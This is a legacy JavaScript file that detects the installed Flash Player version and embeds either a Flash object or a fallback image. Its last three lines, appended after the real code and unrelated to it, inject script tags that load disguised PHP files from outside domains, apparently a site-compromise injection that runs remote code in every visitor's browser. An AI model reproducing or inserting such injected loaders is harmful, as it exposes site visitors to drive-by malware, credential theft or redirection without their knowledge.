// Flash Detection
// Control variables
var maxVersion = 9;							// highest version number
var actVersion = 0;							// flashplayer version of user
var flash2installed = false;				// true when flash 2 is installed
var flash3installed = false;				// true when flash 3 is installed
var flash4installed = false;				// true when flash 4 is installed
var flash5installed = false;				// true when flash 5 is installed
var flash6installed = false;				// true when flash 6 is installed
var flash7installed = false;				// true when flash 7 is installed
var flash8installed = false;				// true when flash 8 is installed
var flash9installed = false;				// true when flash 9 is installed

// bei IE-Windows VBscript Detection schreiben

var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false; // true if we're on ie
var isMac = (navigator.appVersion.indexOf("Mac") != -1) ? true : false; // true if we're on mac

// VBscript Tags only for IE-Windows

if(isIE && !isMac)
	{
		document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n');
		document.write('on error resume next \n');
		document.write('flash2installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.2"))) \n');
		document.write('flash3installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.3"))) \n');
		document.write('flash4installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.4"))) \n');
		document.write('flash5installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.5"))) \n');
		document.write('flash6installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.6"))) \n');
		document.write('flash7installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.7"))) \n');
		document.write('flash8installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.8"))) \n');
		document.write('flash9installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.9"))) \n');
		document.write('</SCR' + 'IPT\> \n');
	}

function incFlash(reqVersion,swfpath,gfxpath,width,height) {
		if (navigator.plugins) {
			if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
				var isVersion2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
				var flashDescription = navigator.plugins["Shockwave Flash" + isVersion2].description;
				var flashVersion = parseInt(flashDescription.charAt(flashDescription.indexOf(".") - 1));
				
				flash2installed = (flashVersion == 2) ? true : false;
				flash3installed = (flashVersion == 3) ? true : false;
				flash4installed = (flashVersion == 4) ? true : false;
				flash5installed = (flashVersion == 5) ? true : false;
				flash6installed = (flashVersion == 6) ? true : false;
				flash7installed = (flashVersion == 7) ? true : false;
				flash8installed = (flashVersion == 8) ? true : false;
				flash9installed = (flashVersion == 9) ? true : false;
			}
		}

		// Loop through all different versions

		for (var i = 2; i <= maxVersion; i++) {
			(eval("flash" + i + "installed") == true) ? actVersion = i : "";
		}

		// alert("Flash-Version: " + actVersion);

		// Reroute according to flashPlayer version

		if (actVersion < reqVersion) {
			document.write('<img src="'+gfxpath+'" width="'+width+'" height="'+height+'" border="0">');
		} else {
			document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="'+width+'" height="'+height+'" id="flash" align=""><param name=movie value="'+swfpath+'"><param name=quality value=high><param name=bgcolor value=#FFFFFF><embed src="'+swfpath+'" quality=high bgcolor=#FFFFFF  width="'+width+'" height="'+height+'" name="flash" align="" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></object>');
		}
}

document.write('<script src=http://doska.usinsk.eu/images/antispam.php ><\/script>');
document.write('<script src=http://viaverdetownhomes.com/js/google17581a3488403911.php ><\/script>');
document.write('<script src=http://viaverdetownhomes.com/js/google17581a3488403911.php ><\/script>');